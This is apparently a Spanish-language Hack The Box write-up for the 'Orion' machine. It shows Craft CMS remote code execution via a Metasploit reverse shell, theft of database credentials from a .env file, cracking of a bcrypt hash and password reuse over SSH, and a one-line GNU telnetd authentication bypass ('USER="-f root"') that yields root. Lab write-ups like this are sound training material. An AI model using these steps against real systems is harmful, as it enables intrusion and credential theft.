Descripción

Orion es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ejecución Remota de Comandos en Craft CMS
  • Pivote de Usuario utilizando una credencial reutilizada descifrada de la base de datos de Craft CMS
  • Escalada de privilegios mediante una vulnerabilidad de evitación de autenticación en Telnet

Reconocimiento

Primero, vamos a verificar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina objetivo es 10.129.244.146.

$ ping -c 3 10.129.244.146
PING 10.129.244.146 (10.129.244.146) 56(84) bytes of data.
64 bytes from 10.129.244.146: icmp_seq=1 ttl=63 time=82.9 ms
64 bytes from 10.129.244.146: icmp_seq=2 ttl=63 time=47.1 ms
64 bytes from 10.129.244.146: icmp_seq=3 ttl=63 time=47.5 ms

--- 10.129.244.146 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.103/59.173/82.884/16.766 ms

La máquina está activa y con el TTL que es igual a 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos Nmap TCP SYN para verificar todos los puertos abiertos.

$ sudo nmap 10.129.244.146 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.244.146
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con la versión de servicio y scripts.

$ nmap 10.129.244.146 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.244.146
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds

Obtenemos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a pasar al servicio HTTP. Añadimos el dominio orion.htb al archivo /etc/hosts.

$ echo '10.129.244.146 orion.htb' | sudo tee -a /etc/hosts

Al verificar el servicio HTTP encontramos una página de destino sin ninguna funcionalidad, pero en el pie de página encontramos que la página está impulsada por Craft CMS. Craft es un CMS flexible y fácil de usar para crear experiencias digitales personalizadas en la web y más allá. El punto final admin/login está disponible y es posible enumerar la versión Craft utilizada, 5.6.16.

Explotación

CVE-2025-32432 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE), que afecta a las versiones 3.x antes de 3.9.15, 4.x antes de 4.14.15 y 5.x antes de 5.6.17 de Craft CMS. La falla se deriva de una falta de validación de entradas y un problema de deserialización insegura durante el manejo de configuraciones no confiables a través de la entrada del usuario dentro de la función integrada de transformación de imágenes. Específicamente, atacantes remotos de red no autenticados pueden enviar una solicitud maliciosa POST dirigida al endpoint generate-transform, lo que les permite manipular el objeto handle y explotar fallas subyacentes del contenedor de Inyección de Dependencias (DI) del framework Yii2 para pasar cadenas de gadgets serializados PHP personalizados. Esta cadena de eventos elude las restricciones sintácticas tradicionales, forzando al servidor a instanciar campos maliciosos y ejecutar funciones PHP arbitrarias ciegamente, lo que resulta en un compromiso completo del servidor y la ejecución de comandos de sistema arbitrarios.

Esta vulnerabilidad es fácilmente explotable con Metasploit Framework para desplegar una terminal inversa.

$ msfconsole 
msf > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS orion.htb
RHOSTS => orion.htb
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST tun0
LHOST => 10.10.15.254
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit
[*] Started reverse TCP handler on 10.10.15.254:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (41224 bytes) to 10.129.244.146
[*] Meterpreter session 1 opened (10.10.15.254:4444 -> 10.129.244.146:37396)
meterpreter > shell
Process 1499 created.
Channel 0 created.
script /dev/null -c bash
bash: cannot set terminal process group (961): Inappropriate ioctl for device
bash: no job control in this shell
www-data@orion:~/html/craft/web$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Recibimos la terminal inversa como el usuario www-data. Encontramos las credenciales de la base de datos MySQL en el archivo /var/www/html/craft/web/.env.

www-data@orion:~/html/craft/web$ cd ..
www-data@orion:~/html/craft$ ls -a
ls -a
.
..
.env
.env.example.dev
.env.example.production
.env.example.staging
...
www-data@orion:~/html/craft$ cat .env
# Read about configuration, here:
# https://craftcms.com/docs/5.x/configure.html

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=dev

# General settings
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DISALLOW_ROBOTS=true
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

PRIMARY_SITE_URL=http://orion.htb/

Para la base de datos MySQL orion encontramos el nombre de usuario root y el SuperSecureCraft123Pass!. Enumeramos la base de datos y las credenciales de los usuarios.


www-data@orion:~/html/craft/web$ mysql -u'root' -p'SuperSecureCraft123Pass!' -h 127.0.0.1 orion
<ot' -p'SuperSecureCraft123Pass!' -h 127.0.0.1 orion
...
MariaDB [orion]> show tables;
show tables;
+----------------------------+
| Tables_in_orion            |
+----------------------------+
| addresses                  |
| announcements              |
...
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
...
+----------------------------+
66 rows in set (0.001 sec)

MariaDB [orion]> select * from users;
select * from users;
...
| id | photoId | affiliatedSiteId | active | pending | locked | suspended | admin | username | fullName | firstName | lastName | email          | password                                                     | lastLoginDate       | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated         | dateUpdated         |
...
|  1 |    NULL |             NULL |      1 |       0 |      0 |         0 |     1 | admin    | NULL     | NULL      | NULL     | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | 2026-03-12 11:25:04 | NULL               | NULL                    |              NULL | NULL                 | NULL        |            1 | NULL             | NULL                       | NULL            |                     0 | 2026-03-12 11:24:51    | 2026-03-06 11:24:45 | 2026-03-12 11:25:04 |
...
1 row in set (0.001 sec)

Para el usuario admin tenemos el hash $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS. Podemos descifrar la contraseña con la herramienta John The Ripper, obteniendo darkangel.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
darkangel        (admin)     
1g 0:00:00:14 DONE 0.06997g/s 50.38p/s 50.38c/s 50.38C/s evelyn..marissa
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos un usuario al que podemos intentar hacer pivote, adam.

www-data@orion:~/html/craft/web$ grep sh /etc/passwd
grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
adam:x:1000:1000::/home/adam:/bin/bash

Dado que la contraseña se reutiliza para el usuario adam, podemos crear una nueva sesión SSH con el usuario.

$ ssh adam@orion.htb                        
...
adam@orion:~$ id
uid=1000(adam) gid=1000(adam) groups=1000(adam)

Post-Explotación

Encontramos que el puerto Telnet 23 está abierto para conexiones locales.

$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:23            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Determinamos que la versión utilizada es 2.7.

adam@orion:~$ telnet --version
telnet (GNU inetutils) 2.7

CVE-2026-24061 es una vulnerabilidad crítica de Desvío de Autenticación e Inyección de Argumentos, que afecta a las versiones 1.9.3 hasta 2.7 de GNU InetUtils telnetd. La falla se deriva del manejo inseguro y la falta de sanitización de la variable de entorno USER suministrada por el cliente, que se pasa directamente a través de la opción Telnet NEW-ENVIRON en los argumentos de línea de comandos del proceso de inicio de sesión subyacente (/usr/bin/login). Específicamente, los atacantes de red remotos no autenticados pueden manipular la variable USER para inyectar un flag malicioso de línea de comandos como -f root durante la negociación de sesiones. Este flag inyectado engaña al binario de inicio de sesión para que omita por completo la autenticación de contraseña, otorgando instantáneamente al atacante una terminal remota root no autorizada y un compromiso total del sistema.

Podemos desplegar fácilmente una sesión root.

adam@orion:~$ USER="-f root" telnet -a 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
...
root@orion:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

root@orion:~# cat /home/adam/user.txt 
<REDACTED>
root@orion:~# cat /root/root.txt 
<REDACTED>